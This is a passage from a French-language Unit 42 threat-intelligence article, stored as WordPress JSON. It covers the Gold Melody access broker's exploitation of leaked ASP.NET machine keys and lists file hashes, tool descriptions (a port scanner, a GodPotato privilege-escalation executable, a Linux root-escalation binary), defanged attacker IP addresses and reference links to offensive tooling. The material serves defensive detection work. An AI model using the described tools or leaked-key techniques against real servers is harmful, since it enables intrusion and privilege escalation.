href=\"https:\/\/github.com\/4dogs-cn\/TXPortMap\" target=\"_blank\" rel=\"noopener\">TxPortMap<\/a> nomm\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">txpm.exe<\/span> ou<span style=\"font-family: 'courier new', courier, monospace;\"> txp.exe<\/span><\/li>\n<li>M\u00e9thode d\u2019ex\u00e9cution\u00a0: <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d<\/span><\/li>\n<li>Types de fichiers\u00a0: ex\u00e9cutables<\/li>\n<li>Description du fichier\u00a0: ex\u00e9cutable .NET nomm\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">updf.exe<\/span> ou up qui utilise la technique d\u2019escalade des privil\u00e8ges GodPotato pour s\u2019\u00e9lever et cr\u00e9er un administrateur local ou ex\u00e9cuter une instance de <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c.<\/span><\/li>\n<li>M\u00e9thode d\u2019ex\u00e9cution\u00a0: <span style=\"font-family: 'courier new', courier, monospace;\">cmd \/c<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c<\/span><\/li>\n<li>Type de fichier\u00a0: ELF<\/li>\n<li>Description du fichier\u00a0: permet \u00e0 un utilisateur d\u2019ex\u00e9cuter des commandes ou des fichiers binaires en tant qu\u2019utilisateur root sur les h\u00f4tes Linux. T\u00e9l\u00e9charg\u00e9 via curl.<\/li>\n<\/ul>\n<p><strong>Exploitation des adresses\u00a0IP\u00a0:<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">67.43.234[.]96<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">213.252.232[.]237<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">98.159.108[.]69<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">190.211.254[.]95<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">109.176.229[.]89<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">169.150.198[.]91<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">194.5.82[.]11<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">138.199.21[.]243<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">194.114.136[.]95<\/span><\/li>\n<\/ul>\n<p>Des payloads d\u2019exploitation contenant des param\u00e8tres <span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span> malveillants ont \u00e9t\u00e9 observ\u00e9s \u00e0 partir des adresses\u00a0IP suivantes entre octobre 2024 et f\u00e9vrier\u00a02025. Le trafic HTTP\/s provenant de ces adresses et visant les serveurs IIS doit \u00eatre interrog\u00e9.<\/p>\n<p><strong>Outils de pr\u00e9production de l\u2019infrastructure apr\u00e8s l\u2019exploitation\u00a0:<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">195.123.240[.]233<\/span><\/li>\n<\/ul>\n<p>Entre janvier et f\u00e9vrier 2025, l\u2019auteur de la menace a extrait des outils de cette adresse via curl sur Windows.<\/p>\n<h2><a id=\"post-152303-_heading=h.eqadgrtb3og3\"><\/a>Pour aller plus loin<\/h2>\n<ul>\n<li><a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">Attaques par injection de code utilisant des cl\u00e9s machine ASP.NET divulgu\u00e9es publiquement | Microsoft Security Blog<\/a><\/li>\n<li><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/resolving-view-state-message-authentication-code-mac-errors-6c0e9fd3-f8a8-c953-8fbe-ce840446a9f3#ID0EDH\" target=\"_blank\" rel=\"noopener\">R\u00e9solution des erreurs de code d\u2019authentification de message (MAC) de l\u2019\u00e9tat de vue - Microsoft Support<\/a><\/li>\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/dotnet\/articles\/ms972976(v=msdn.10)?redirectedfrom=MSDN\" target=\"_blank\" rel=\"noopener\">Comprendre l\u2019\u00e9tat de vue ASP.NET<\/a> - Microsoft<\/li>\n<li><a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\" target=\"_blank\" rel=\"noopener\">\u00c9tat de vue, La journ\u00e9e sans correctif d\u2019IIS est activement exploit\u00e9e<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Generators\/XamlAssemblyLoadFromFileGenerator.cs\" target=\"_blank\" rel=\"noopener\">XamlAssemblyLoadFromFileGenerator.cs<\/a> - GitHub<\/li>\n<li><a href=\"https:\/\/github.com\/pwntester\/ysoserial.net\/blob\/master\/ysoserial\/Plugins\/ViewStatePlugin.cs\" target=\"_blank\" rel=\"noopener\">ViewStatePlugin.cs<\/a> - GitHub<\/li>\n<li><a href=\"https:\/\/github.com\/NotSoSecure\/Blacklist3r\/blob\/master\/MachineKey\/AspDotNetWrapper\/AspDotNetWrapper\/Resource\/MachineKeys.txt\" target=\"_blank\" rel=\"noopener\">GitHub - MachineKeys.txt<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/microsoft\/mstic\/blob\/master\/RapidReleaseTI\/MachineKeys.csv\" target=\"_blank\" rel=\"noopener\">mstic\/RapidReleaseTI\/MachineKeys.csv at master<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/BeichenDream\/GodPotato\" target=\"_blank\" rel=\"noopener\">GitHub - BeichenDream\/GodPotato<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/4dogs-cn\/TXPortMap\" target=\"_blank\" rel=\"noopener\">GitHub - 4dogs-cn\/TXPortMap\u00a0: Scanner de ports et identification de banni\u00e8re de TianXiang<\/a><\/li>\n<li><a href=\"https:\/\/www.secureworks.com\/research\/gold-melody-profile-of-an-initial-access-broker\" target=\"_blank\" rel=\"noopener\">GOLD MELODY\u00a0: Profil d\u2019un courtier d\u2019acc\u00e8s initial | Secureworks<\/a><\/li>\n<li><a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/unc961-multiverse-financially-motivated\" target=\"_blank\" rel=\"noopener\">UNC961 dans le multivers de Mandiant\u00a0: Trois rencontres avec un acteur de la menace \u00e0 motivation financi\u00e8re<\/a><\/li>\n<li><a href=\"https:\/\/portswigger.net\/kb\/issues\/00400600_asp-net-viewstate-without-mac-enabled\" target=\"_blank\" rel=\"noopener\">ASP.NET ViewState sans MAC activ\u00e9 - PortSwigger<\/a><\/li>\n<li><a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/falcon-overwatch-detects-iceapple-framework\/\" target=\"_blank\" rel=\"noopener\">Falcon OverWatch d\u00e9tecte le nouveau framework IceApple | CrowdStrike<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.<\/p>\n","protected":false},"author":366,"featured_media":145085,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[8733,8823],"tags":[9466,9465,9379,9467,9468],"product_categories":[8956,8973,8955,9041,9053,9064,9151],"coauthors":[8472,4188],"class_list":["post-152303","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybercrime-fr","category-threat-actor-groups-fr","tag-golang-fr","tag-initial-access-broker-fr","tag-microsoft-fr","tag-web-server-fr","tag-web-shells-fr","product_categories-advanced-dns-security-fr","product_categories-advanced-url-filtering-fr","product_categories-cloud-delivered-security-services-fr","product_categories-cortex-fr","product_categories-cortex-xdr-fr","product_categories-cortex-xsiam-fr","product_categories-unit-42-incident-response-fr"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.0 (Yoast SEO v27.0) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial<\/title>\n<meta name=\"description\" content=\"Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial\" \/>\n<meta property=\"og:description\" content=\"Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-08T16:51:01+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-08-19T17:21:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Tom Marsden, Chema Garcia\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial","description":"Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/","og_locale":"fr_FR","og_type":"article","og_title":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial","og_description":"Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.","og_url":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/","og_site_name":"Unit 42","article_published_time":"2025-07-08T16:51:01+00:00","article_modified_time":"2025-08-19T17:21:46+00:00","og_image":[{"width":1920,"height":900,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg","type":"image\/jpeg"}],"author":"Tom Marsden, Chema Garcia","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/"},"author":{"name":"Sheida Azimi","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/7ee97ec6f224446d57c0383eb5fd3639"},"headline":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial","datePublished":"2025-07-08T16:51:01+00:00","dateModified":"2025-08-19T17:21:46+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/"},"wordCount":5411,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg","keywords":["GoLang","Initial Access Broker","Microsoft","web server","web shells"],"articleSection":["Cybercrime","Groupes cybercriminels"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/","url":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/","name":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg","datePublished":"2025-07-08T16:51:01+00:00","dateModified":"2025-08-19T17:21:46+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/7ee97ec6f224446d57c0383eb5fd3639"},"description":"Une campagne de IAB a exploit\u00e9 des fuites de cl\u00e9s machine ASP.NET. Nous d\u00e9cortiquons leur infrastructure, leur campagne et les enseignements \u00e0 en tirer pour les \u00e9quipes blue team.","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#primaryimage","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2025\/07\/03_Cybercrime_Category_1920x900.jpg","width":1920,"height":900,"caption":"Pictorial representation of initial access brokers like TGR-CRI-0045. Digital concept image featuring a stream of glowing code with words like \"Security,\" \"Hackers,\" and \"Crime\" overlaid in bold text, symbolizing cybersecurity and data protection."},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/fr\/initial-access-broker-exploits-leaked-machine-keys\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/"},{"@type":"ListItem","position":2,"name":"Les accords cach\u00e9s de Gold Melody\u00a0: Lumi\u00e8re sur les modules IIS en m\u00e9moire du courtier d\u2019acc\u00e8s initial"}]},{"@type":"WebSite","@id":"https:\/\/unit42.paloaltonetworks.com\/#website","url":"https:\/\/unit42.paloaltonetworks.com\/","name":"Unit 42","description":"Palo Alto Networks","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/unit42.paloaltonetworks.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/7ee97ec6f224446d57c0383eb5fd3639","name":"Sheida Azimi","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/image\/4ffb3c2d260a0150fb91b3715442f8b3","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/11\/unit-news-meta.svg","caption":"Sheida Azimi"},"url":"https:\/\/unit42.paloaltonetworks.com\/fr\/author\/sheida-azimi\/"}]}},"_links":{"self":[{"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/posts\/152303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/users\/366"}],"replies":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/comments?post=152303"}],"version-history":[{"count":1,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/posts\/152303\/revisions"}],"predecessor-version":[{"id":152370,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/posts\/152303\/revisions\/152370"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/media\/145085"}],"wp:attachment":[{"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/media?parent=152303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/categories?post=152303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/tags?post=152303"},{"taxonomy":"product_categories","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/product_categories?post=152303"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/unit42.paloaltonetworks.com\/fr\/wp-json\/wp\/v2\/coauthors?post=152303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}